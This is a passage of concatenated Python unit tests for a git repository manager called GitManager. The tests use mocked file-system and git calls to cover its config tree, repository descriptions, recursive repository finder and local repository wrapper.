a comment"), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'something', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'else', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' ') ] # the intended results results = [ d.RepositoryDescription(source='hello', path='/path/to/home/world'), d.RepositoryDescription(source='hello', path='/path/to/home/something/world'), d.RepositoryDescription(source='hello', path='/path/to/home/something/sub/world'), d.RepositoryDescription(source='hello', path='/path/to/home/else/world') ] # check that the yielding works properly for (actual, intended) in zip(t.repositories, results): self.assertEqual(actual, intended, "Lines parsed properly") # reset the lines to something that should thrown an error t.lines = [ line.BaseLine('', 2, ' ', 'something', '') ] # we are skipping a base level -- this should thrown an error with self.assertRaises(Exception): list(t.repositories) @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_locals(self, os_path_expanduser: unittest.mock.Mock): """ Tests that the locals are yielded properly """ # create a tree instance t = tree.Tree() # setup the lines properly t.lines = [ line.NOPLine("# Top level line with a comment"), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'something', ' '), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ' '), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'else', ' '), line.RepoLine(' ', 'hello', ' ', 'world', ' ') ] # the intended results results = [ LocalRepository('/path/to/home/world'), LocalRepository('/path/to/home/something/world'), LocalRepository('/path/to/home/something/sub/world'), LocalRepository('/path/to/home/else/world') ] # check that the yielding works properly for (actual, intended) in zip(t.locals, results): self.assertEqual(actual, intended, "Locals parsed properly") # reset the lines to something that should thrown an error t.lines = [ line.BaseLine('', 2, ' ', 'something', '') ] # we are skipping a base level -- this should thrown an error with self.assertRaises(Exception): list(t.locals) @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_index(self, os_path_expanduser: unittest.mock.Mock): """ Tests that the index function works properly """ # create a tree instance t = tree.Tree() # setup the lines properly t.lines = [ line.NOPLine("# Top level line with a comment"), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'something', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'else', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' ') ] # the intended results results = [ d.RepositoryDescription(source='hello', path='/path/to/home/world'), d.BaseDescription('/path/to/home/something'), d.RepositoryDescription(source='hello', path='/path/to/home/something/world'), d.BaseDescription('/path/to/home/something/sub'), d.RepositoryDescription(source='hello', path='/path/to/home/something/sub/world'), d.BaseDescription('/path/to/home/else'), d.RepositoryDescription(source='hello', path='/path/to/home/else/world') ] # check that the indexes are found properly for (i, r) in enumerate(results): self.assertEqual(t.index(r), i + 1, "Lines found as intended") self.assertEqual(t.index(d.BaseDescription('/path/to/home/weird')), None, "Lines not found as intended") @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_contains(self, os_path_expanduser: unittest.mock.Mock): """ Tests that the contains function works properly """ # create a tree instance t = tree.Tree() # setup the lines properly t.lines = [ line.NOPLine("# Top level line with a comment"), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'something', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' '), line.BaseLine('', 1, ' ', 'else', ''), line.RepoLine(' ', 'hello', ' ', 'world', ' ') ] # the intended results results = [ d.RepositoryDescription(source='hello', path='/path/to/home/world'), d.BaseDescription('/path/to/home/something'), d.RepositoryDescription(source='hello', path='/path/to/home/something/world'), d.BaseDescription('/path/to/home/something/sub'), d.RepositoryDescription(source='hello', path='/path/to/home/something/sub/world'), d.BaseDescription('/path/to/home/else'), d.RepositoryDescription(source='hello', path='/path/to/home/else/world') ] # check that the indexes are found properly for (i, r) in enumerate(results): self.assertTrue(t.contains(r), "Lines found as intended") self.assertFalse(t.contains(d.BaseDescription('/path/to/home/weird')), "Lines not found as intended") @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_insert_at(self, os_path_expanduser: unittest.mock.Mock): """ Tests that the contains function works properly """ def setup_tree() -> tree.Tree: # create a tree instance and setup lines t = tree.Tree() t.lines = [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ] return t # # INSERT FAILURES -- for RepositoryDescriptions # t1 = setup_tree() # Inserting into something that doesn't exist throws a ValueError with self.assertRaises(ValueError): t1.insert_at( d.BaseDescription('/path/to/home/else'), d.RepositoryDescription(source='git@example.com:/example/repo', path='/path/to/home/else/hello') ) t2 = setup_tree() # Inserting into the wrong parent also throws ValueError with self.assertRaises(ValueError): t2.insert_at( d.BaseDescription('/path/to/home/else'), d.RepositoryDescription(source='git@example.com:/example/repo', path='/path/to/home/weird/hello') ) t3 = setup_tree() # Inserting into the wrong parent also throws ValueError with self.assertRaises(ValueError): t2.insert_at( None, d.RepositoryDescription(source='git@example.com:/example/repo', path='/path/to/home/weird/hello') ) # # INSERT SUCCESS -- for RepositoryDescriptions # t4 = setup_tree() d4 = d.RepositoryDescription( source='git@example.com:/example/insertion', path='/path/to/home/insertion') # at the very top self.assertEqual(t4.insert_at(None, d4), 1, 'Inserting a repository ' 'top-level') self.assertEqual(t4.lines, [ line.NOPLine("# comment"), line.RepoLine(' ', 'git@example.com:/example/insertion', '', '', ''), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ]) # inside of an empty group t5 = setup_tree() d5 = d.RepositoryDescription( source='git@example.com:/example/insertion', path='/path/to/home/base1/insertion') p5 = d.BaseDescription('/path/to/home/base1') self.assertEqual(t5.insert_at(p5, d5), 2, 'Inserting a repository ' 'into an empty group') self.assertEqual(t5.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.RepoLine(' ', 'git@example.com:/example/insertion', '', '', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ]) # inside of a full group t6 = setup_tree() d6 = d.RepositoryDescription( source='git@example.com:/example/insertion', path='/path/to/home/base2/point') p6 = d.BaseDescription('/path/to/home/base2') self.assertEqual(t6.insert_at(p6, d6), 4, 'Inserting a repository ' 'into a full group') self.assertEqual(t6.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), line.RepoLine(' ', 'git@example.com:/example/insertion', ' ', 'point', ''), ]) # # INSERT SUCCESS -- for BaseDescriptions # t7 = setup_tree() d7 = d.BaseDescription('/path/to/home/insertion') # at the very top self.assertEqual(t7.insert_at(None, d7), 4, 'Inserting a base ' 'top-level') self.assertEqual(t7.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), line.BaseLine(' ', 1, ' ', 'insertion', '') ]) # inside of an empty group t8 = setup_tree() d8 = d.BaseDescription('/path/to/home/base1/insertion') p8 = d.BaseDescription('/path/to/home/base1') self.assertEqual(t8.insert_at(p8, d8), 2, 'Inserting a base ' 'into an empty group') self.assertEqual(t8.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 2, ' ', 'insertion', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ]) # inside of a full group t9 = setup_tree() d9 = d.BaseDescription('/path/to/home/base2/insertion') p9 = d.BaseDescription('/path/to/home/base2') self.assertEqual(t9.insert_at(p9, d9), 4, 'Inserting a base ' 'into a full group') self.assertEqual(t9.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), line.BaseLine(' ', 2, ' ', 'insertion', ''), ]) # inside of a full group t10 = setup_tree() d10 = d.BaseDescription('/insertion') p10 = d.BaseDescription('/path/to/home/base2') self.assertEqual(t10.insert_at(p10, d10), 4, 'Inserting a base with' 'absolute path') self.assertEqual(t10.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), line.BaseLine(' ', 2, ' ', '/insertion', ''), ]) @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_insert_base_or_get(self, os_path_expanduser: unittest.mock.Mock): def setup_tree() -> tree.Tree: # create a tree instance and setup lines t = tree.Tree() t.lines = [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ] return t # inserting an existing base -- do nothing t1 = setup_tree() d1 = d.BaseDescription('/path/to/home/base1') self.assertEqual(t1.insert_base_or_get(d1), 1, 'inserting an ' 'existing base') self.assertEqual( t1.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ] ) # inserting a new base top-level t2 = setup_tree() d2 = d.BaseDescription('/path/to/home/base3') self.assertEqual(t2.insert_base_or_get(d2), 4, 'inserting a new ' 'top-level base') self.assertEqual( t2.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), line.BaseLine(' ', 1, ' ', 'base3', '') ] ) # inserting an absolute path t3 = setup_tree() d3 = d.BaseDescription('/base3') self.assertEqual(t3.insert_base_or_get(d3), 4, 'inserting a new ' 'absolute-path base') self.assertEqual( t3.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), line.BaseLine(' ', 1, ' ', '/base3', '') ] ) # inserting a single sublevel t4 = setup_tree() d4 = d.BaseDescription('/path/to/home/base1/a') self.assertEqual(t4.insert_base_or_get(d4), 2, 'inserting a single ' 'new sub-level base') self.assertEqual( t4.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 2, ' ', 'a', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ] ) # inserting multiple sublevels t5 = setup_tree() d5 = d.BaseDescription('/path/to/home/base1/a/b/c') self.assertEqual(t5.insert_base_or_get(d5), 4, 'inserting multiple ' 'new sub-level bases') self.assertEqual( t5.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 2, ' ', 'a', ''), line.BaseLine(' ', 3, ' ', 'b', ''), line.BaseLine(' ', 4, ' ', 'c', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), ] ) @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_insert_repo_or_get(self, os_path_expanduser: unittest.mock.Mock): def setup_tree() -> tree.Tree: # create a tree instance and setup lines t = tree.Tree() t.lines = [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ] return t # inserting an existing repo -- do nothing t1 = setup_tree() d1 = d.RepositoryDescription('git@example.com:/example/repo', '/path/to/home/base2/example-repo') self.assertEqual(t1.insert_repo_or_get(d1), 3, 'inserting an ' 'existing repo') self.assertEqual( t1.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ] ) # inserting a new repo top-level t2 = setup_tree() d2 = d.RepositoryDescription('git@example.com:/example/insert', '/path/to/home/insert') self.assertEqual(t2.insert_repo_or_get(d2), 1, 'inserting a new ' 'top-level repo') self.assertEqual( t2.lines, [ line.NOPLine("# comment"), line.RepoLine(' ', 'git@example.com:/example/insert', '', '', ''), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ] ) # inserting a new repo with multiple sublevels t5 = setup_tree() d5 = d.RepositoryDescription('git@example.com:/example/insert', '/path/to/home/base1/a/b/c/insert') self.assertEqual(t5.insert_repo_or_get(d5), 5, 'inserting a new ' 'repo and sub-levels') self.assertEqual( t5.lines, [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.BaseLine(' ', 2, ' ', 'a', ''), line.BaseLine(' ', 3, ' ', 'b', ''), line.BaseLine(' ', 4, ' ', 'c', ''), line.RepoLine(' ', 'git@example.com:/example/insert', '', '', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), ] ) @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_remove_local(self, os_path_expanduser: unittest.mock.Mock): """ Tests that removing local repositories works properly """ # create a tree instance t = tree.Tree() # setup the lines properly t.lines = [ line.NOPLine("# Top level line with a comment"), line.RepoLine(' ', 'hello', ' ', 'hello', ' '), line.BaseLine('', 1, ' ', 'something', ''), line.RepoLine(' ', 'something/world', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ''), line.RepoLine(' ', 'something/sub/hello', ' ', 'hello', ' '), line.BaseLine('', 1, ' ', 'else', ''), line.RepoLine(' ', 'something/else/world', ' ', 'world', ' ') ] # the expected array after the lines were removed result = [ line.NOPLine("# Top level line with a comment"), line.RepoLine(' ', 'hello', ' ', 'hello', ' '), line.BaseLine('', 1, ' ', 'something', ''), line.RepoLine(' ', 'something/world', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ''), line.RepoLine(' ', 'something/sub/hello', ' ', 'hello', ' '), line.BaseLine('', 1, ' ', 'else', '') ] # check that an existing repo gets removed didRemove = t.remove_local(LocalRepository('/path/to/home/else/world')) self.assertTrue(didRemove) self.assertEqual(t.lines, result, 'Removed existing repo') # check that a non-existing repository does not get removed didNotRemove = t.remove_local( LocalRepository('/path/to/home/nonexistent') ) self.assertFalse(didNotRemove) self.assertEqual(t.lines, result, 'Did not remove any lines') @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_find(self, os_path_expanduser: unittest.mock.Mock): """ Tests that finding repositories works properly """ # create a tree instance t = tree.Tree() # setup the lines properly t.lines = [ line.NOPLine("# Top level line with a comment"), line.RepoLine(' ', 'hello', ' ', 'hello', ' '), line.BaseLine('', 1, ' ', 'something', ''), line.RepoLine(' ', 'something/world', ' ', 'world', ' '), line.BaseLine('', 2, ' ', 'sub', ''), line.RepoLine(' ', 'something/sub/hello', ' ', 'hello', ' '), line.BaseLine('', 1, ' ', 'else', ''), line.RepoLine(' ', 'something/else/world', ' ', 'world', ' ') ] # the expected 'hello' repos results = [ d.RepositoryDescription(source='hello', path='/path/to/home/hello'), d.RepositoryDescription(source='something/sub/hello', path='/path/to/home/something/sub/hello') ] # perform the test actual = t.find('world') for (r, a) in zip(results, actual): self.assertEqual(r, a) @unittest.mock.patch('os.path.expanduser', side_effect=lambda s: s.replace("~", "/path/to/home/")) def test_rebuild(self, os_path_expanduser: unittest.mock.Mock): # create a tree instance and setup lines t = tree.Tree() t.lines = [ line.NOPLine("# comment"), line.BaseLine(' ', 1, ' ', 'base1', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ] t.rebuild() self.assertEqual(t.lines, [ line.BaseLine(' ', 1, ' ', 'base1', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', ''), line.BaseLine(' ', 1, ' ', 'base2', ''), line.RepoLine(' ', 'git@example.com:/example/repo', ' ', 'example-repo', '') ]) t = tree.Tree() t.lines = [line.RootLine('', '', 'root', '')] t.rebuild() self.assertEqual(t.lines, [line.RootLine('', '', 'root', '')], 'store relative root') t = tree.Tree() t.lines = [line.RootLine('', '', '/path/to/home', '')] t.rebuild() self.assertEqual(t.lines, [], 'hide root when it is /path/to/home') t = tree.Tree() t.lines = [line.RootLine('', '', '/opt/root', '')] t.rebuild() self.assertEqual(t.lines, [line.RootLine('', '', '/opt/root', '')]) --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.config import line from GitManager.repo import description, implementation class TestBaseDescription(unittest.TestCase): """ Tests that the BaseDescription class works properly """ def test_eq(self): """ Tests that equality works properly """ self.assertEqual( description.BaseDescription('/path/to/local'), description.BaseDescription('/path/to/local'), 'equality between two descriptions' ) self.assertNotEqual( description.BaseDescription('/path/to/local/a'), description.BaseDescription('/path/to/local/b'), 'inequality between two descriptions' ) class TestRepositoryDescription(unittest.TestCase): """ Tests that the RepositoryDescription class works properly """ def test_eq(self): """ Tests that equality works properly """ self.assertEqual(description.RepositoryDescription( 'git@github.com:/example/remote', '/path/to/local'), description.RepositoryDescription( 'git@github.com:/example/remote', '/path/to/local'), 'equality between two descriptions' ) self.assertNotEqual(description.RepositoryDescription( 'git@github.com:/example/remote', '/path/to/local'), description.RepositoryDescription( 'github.com:/example/remote', '/path/to/local'), 'inequality between two descriptions' ) def test_local(self): """ Tests that local repositories are parsed properly """ self.assertEqual(description.RepositoryDescription( 'git@github.com:/example/remote', '/path/to/local').local, implementation.LocalRepository('/path/to/local')) def test_remote(self): """ Tests that the remote repositories are parsed properly """ self.assertEqual(description.RepositoryDescription( 'git@github.com:/example/remote', '/path/to/local').remote, implementation.RemoteRepository( 'git@github.com:/example/remote')) def test_to_repo_line(self): desc1 = description.RepositoryDescription( 'git@github.com:/example/remote/repo', '/path/to/local/repo') res1 = ( description.BaseDescription('/path/to/local'), line.RepoLine( ' ', 'git@github.com:/example/remote/repo', '', '', ' ' ) ) self.assertEqual(desc1.to_repo_line(' ', ' ', ' '), res1, 'turning a RepositoryDescription into a RepoLine ' 'omitting final component') desc2 = description.RepositoryDescription( 'git@github.com:/example/remote/repo', '/path/to/local/repo/clone') res2 = ( description.BaseDescription('/path/to/local/repo'), line.RepoLine( ' ', 'git@github.com:/example/remote/repo', ' ', 'clone', ' ' ) ) self.assertEqual(desc2.to_repo_line(' ', ' ', ' '), res2, 'turning a RepositoryDescription into a RepoLine ' 'including final component') --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.repo import finder, description class TestFinder(unittest.TestCase): """ Tests that the Finder() class works correctly """ @unittest.mock.patch("os.listdir") @unittest.mock.patch("os.path") @unittest.mock.patch("GitManager.repo.finder.Finder.get_from_path") def test_find_recursive(self, Finder_get_from_path: unittest.mock.Mock, os_path: unittest.mock.Mock, os_listdir: unittest.mock.Mock): """ Tests that the find_recursive method works correctly """ # Setup all the mocks links = ['/link'] dirs = ['/link', '/link/a', '/link/b', '/folder', '/folder/a', '/folder/b'] listings = { '/': ['link', 'file.txt', 'folder', 'folder.txt'], '/link': ['a', 'a.txt', 'b', 'b.txt'], '/link/a': [], '/link/b': [], '/folder': ['a', 'a.txt', 'b', 'b.txt'], '/folder/a': [], '/folder/b': [], } repos = { '/link/a': 'git@example.com:link/a', '/link/b': 'git@example.com:link/b', '/folder': 'git@example.com:folder', '/folder/a': 'git@example.com:folder/a', '/folder/b': 'git@example.com:folder/b', } def join_mock(*args): return '/'.join(args).replace('//', '/') os_path.islink.side_effect = lambda l: l in links os_path.isdir.side_effect = lambda d: d in dirs os_listdir.side_effect = lambda d: listings[d] os_path.join.side_effect = join_mock def frompath_mock(path): if path in repos: return description.RepositoryDescription(repos[path], path) else: raise ValueError() Finder_get_from_path.side_effect = frompath_mock # finding repositories not allowing links and not allowing # sub-repositories self.assertEqual(list(finder.Finder. find_recursive('/', allow_links=False, continue_in_repository=False)), [ description.RepositoryDescription( 'git@example.com:folder', '/folder' ) ]) # finding repositories allowing links but not more self.assertEqual(list(finder.Finder. find_recursive('/', allow_links=True, continue_in_repository=False)), [ description.RepositoryDescription( 'git@example.com:link/a', '/link/a' ), description.RepositoryDescription( 'git@example.com:link/b', '/link/b' ), description.RepositoryDescription( 'git@example.com:folder', '/folder' ) ]) # finding repositories allowing repos in repos, but not more self.assertEqual(list(finder.Finder. find_recursive('/', allow_links=False, continue_in_repository=True)), [ description.RepositoryDescription( 'git@example.com:folder', '/folder' ), description.RepositoryDescription( 'git@example.com:folder/a', '/folder/a' ), description.RepositoryDescription( 'git@example.com:folder/b', '/folder/b' ) ]) # finding repositories allow repos in repos and links self.assertEqual(list(finder.Finder. find_recursive('/', allow_links=True, continue_in_repository=True)), [ description.RepositoryDescription( 'git@example.com:link/a', '/link/a' ), description.RepositoryDescription( 'git@example.com:link/b', '/link/b' ), description.RepositoryDescription( 'git@example.com:folder', '/folder' ), description.RepositoryDescription( 'git@example.com:folder/a', '/folder/a' ), description.RepositoryDescription( 'git@example.com:folder/b', '/folder/b' ) ]) @unittest.mock.patch("GitManager.repo.implementation.LocalRepository") def test_get_from_path(self, implementation_LocalRepository: unittest.mock.Mock): """ Tests that the get_from_path function works properly """ # if there is no local repository, we should throw a value error implementation_LocalRepository.return_value.exists.return_value = False with self.assertRaises(ValueError): finder.Finder.get_from_path('/path/to/repository') implementation_LocalRepository.assert_called_with( '/path/to/repository') # reset the mocks implementation_LocalRepository.reset_mock() # local repository exists, and the return implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.get_remote_url \ .return_value = 'git@example.com:example/repo' # check that a repository with an origin is found properly self.assertEqual( finder.Finder.get_from_path('/path/to/repository'), description.RepositoryDescription( 'git@example.com:example/repo', '/path/to/repository' ) ) implementation_LocalRepository.assert_called_with( '/path/to/repository') implementation_LocalRepository.return_value.get_remote_url \ .assert_called_with('origin') # reset the mocks implementation_LocalRepository.reset_mock() def mock_raise(arg): raise ValueError() # raises an error if no url is returned implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.remotes = [] implementation_LocalRepository.return_value.get_remote_url \ .side_effect = mock_raise # check that a repository with self.assertRaises(ValueError): finder.Finder.get_from_path('/path/to/repository') implementation_LocalRepository.return_value.get_remote_url \ .assert_called_with('origin') # reset the mocks implementation_LocalRepository.reset_mock() # raises an error if no url is returned implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.remotes = ['upstream'] implementation_LocalRepository.return_value.get_remote_url \ .side_effect = mock_raise # check that a repository with self.assertRaises(ValueError): finder.Finder.get_from_path('/path/to/repository') implementation_LocalRepository.return_value.get_remote_url \ .assert_any_call('origin') implementation_LocalRepository.return_value.get_remote_url \ .assert_any_call('upstream') # reset the mocks implementation_LocalRepository.reset_mock() def mock_originerror(name): if name == 'origin': raise ValueError() else: return 'git@example.com:example/repo' # raises an error if no url is returned implementation_LocalRepository.return_value.exists.return_value = True implementation_LocalRepository.return_value.remotes = ['upstream'] implementation_LocalRepository.return_value.get_remote_url \ .side_effect = mock_originerror # check that a repository with an upstream is found properly self.assertEqual( finder.Finder.get_from_path('/path/to/repository'), description.RepositoryDescription( 'git@example.com:example/repo', '/path/to/repository' ) ) implementation_LocalRepository.return_value.get_remote_url \ .assert_any_call('origin') implementation_LocalRepository.return_value.get_remote_url \ .assert_any_call('upstream') --- FILE SEPARATOR --- import unittest import unittest.mock from GitManager.repo import implementation class TestLocalRepository(unittest.TestCase): def test_eq(self): """ Checks that equality between LocalRepositories works properly """ self.assertEqual( implementation.LocalRepository('/path/to/clone'), implementation.LocalRepository('/path/to/clone'), 'equality between two LocalRepositories' ) self.assertNotEqual( implementation.LocalRepository('/home/user/example'), implementation.LocalRepository( '/home/user/example/.git'), 'difference between two LocalRepositories') def test_path(self): """ Tests that the path property works as intended """ self.assertEqual( implementation.LocalRepository('/path/to/clone').path, '/path/to/clone', 'path of a simple repository' ) self.assertEqual( implementation.LocalRepository( '/home/user/example').path, '/home/user/example', 'path of a simple git repository' ) def test_str(self): """ Tests that the str() of a remoteRepository works properly """ self.assertEqual( str(implementation.LocalRepository( '/path/to/clone')), '/path/to/clone', 'str() of a simple repository' ) self.assertEqual( str(implementation.LocalRepository( '/home/user/example')), '/home/user/example', 'str() of a simple git repository' ) def test_repr(self): """ Tests that the repr() of a remoteRepository works properly """ self.assertEqual( repr(implementation.LocalRepository( '/path/to/clone')), '<LocalRepository /path/to/clone>', 'str() of a simple repository' ) self.assertEqual( repr(implementation.LocalRepository( '/home/user/example')), '<LocalRepository /home/user/example>', 'repr() of a simple git repository' ) @unittest.mock.patch('GitManager.utils.run.GitRun') def test_remotes(self, run_gitrun: unittest.mock.Mock): """ checks that remotes properly works as intended """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # set the return value run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="origin\nupstream".encode("utf-8"))() self.assertEqual(repo.remotes, ["origin", "upstream"], "Remotes are " "parsed " "properly") run_gitrun.assert_called_with('remote', 'show', '-n', cwd='/path/to/repository') run_gitrun.return_value.wait.assert_called_with() @unittest.mock.patch('GitManager.utils.run.GitRun') def test_get_remote_url(self, run_gitrun: unittest.mock.Mock): """ checks that get_remote_url function works as intended """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # throw an error for the remote run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="fatal: No such remote 'example'\n".encode("utf-8"))() run_gitrun.return_value.success = False # check that an error is thrown if we look for a remote that doesn't # exist with self.assertRaises(ValueError): repo.get_remote_url("example") run_gitrun.assert_called_with('remote', 'get-url', 'example', cwd='/path/to/repository') # thrown no error run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="git@example.com:example/repo\n".encode("utf-8"))() run_gitrun.return_value.success = True # check that we can actually get the remote url self.assertEqual(repo.get_remote_url('origin'), 'git@example.com:example/repo', 'getting a remote ' 'url') # check that the git run has been called run_gitrun.assert_called_with('remote', 'get-url', 'origin', cwd='/path/to/repository') @unittest.mock.patch('GitManager.utils.run.GitRun') @unittest.mock.patch('os.path.isdir') def test_exists(self, os_path_isdir: unittest.mock.Mock, run_gitrun: unittest.mock.Mock): """ checks that exists method makes an external call """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # setup mocks so that the path does not exist os_path_isdir.return_value = False self.assertFalse(repo.exists(), 'non-existence of a repository') os_path_isdir.assert_called_with('/path/to/repository') run_gitrun.assert_not_called() # setup mocks so that the path exists but the --show-toplevel fails os_path_isdir.reset_mock() os_path_isdir.return_value = True run_gitrun.reset_mock() run_gitrun.return_value.success = False run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="/path/to\n".encode("utf-8"))() self.assertFalse(repo.exists(), 'non-existence of a repository when toplevel fails') os_path_isdir.assert_called_with('/path/to/repository') run_gitrun.assert_called_with('rev-parse', '--show-toplevel', cwd='/path/to/repository') run_gitrun.reset_mock() run_gitrun.return_value.success = True run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="/path/to\n".encode("utf-8"))() self.assertFalse(repo.exists(), 'non-existence of a repository when not toplevel') os_path_isdir.assert_called_with('/path/to/repository') run_gitrun.assert_called_with('rev-parse', '--show-toplevel', cwd='/path/to/repository') # setup mocks so that the path exists and is toplevel os_path_isdir.reset_mock() os_path_isdir.return_value = True run_gitrun.reset_mock() run_gitrun.return_value.success = True run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="/path/to/repository\n".encode("utf-8"))() self.assertTrue(repo.exists(), 'existence of a repository when not toplevel') os_path_isdir.assert_called_with('/path/to/repository') run_gitrun.assert_called_with('rev-parse', '--show-toplevel', cwd='/path/to/repository') @unittest.mock.patch('GitManager.utils.run.GitRun') def test_ref_parse(self, run_gitrun: unittest.mock.Mock): """ checks that ref_parse function works as intended """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # set the return value run_gitrun.return_value.stdout = unittest.mock.mock_open( read_data="aaaaaa\n".encode("utf-8"))() self.assertEqual(repo.ref_parse("master"), "aaaaaa", "parsing master " "works properly") run_gitrun.assert_called_with("rev-parse", "master", cwd='/path/to/repository') run_gitrun.return_value.wait.assert_called_with() @unittest.mock.patch('GitManager.utils.run.GitRun') def test_symbolic_ref(self, run_gitrun: unittest.mock.Mock): """ checks that symbolic_ref properly works as intended """ # create a repository repo = implementation.LocalRepository('/path/to/repository') # set the 